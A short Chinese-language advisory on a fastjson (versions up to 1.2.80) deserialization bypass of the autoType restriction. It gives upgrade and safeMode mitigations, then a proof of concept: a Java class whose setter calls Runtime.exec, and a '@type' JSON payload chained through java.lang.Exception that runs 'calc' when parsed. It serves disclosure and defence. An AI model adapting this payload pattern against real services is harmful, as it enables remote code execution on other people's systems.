fastjson已使用黑白名单用于防御反序列化漏洞,经研究该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。
1.2.80及以下版本,即 <= 1.2.80。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode
ParserConfig.getGlobalInstance().setSafeMode(true);
-Dfastjson.parser.safeMode=true
# fastjson.properties
fastjson.parser.safeMode=true
poc类(代码中需要有该类)
package com.example.fastjson.poc20220523;
import java.io.IOException;
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
攻击代码:
主要是构造json串:
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
java代码解析:
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc20220523.Poc20220523\",\"name\":\"calc\"}";
JSON.parse(json);
}
效果截图: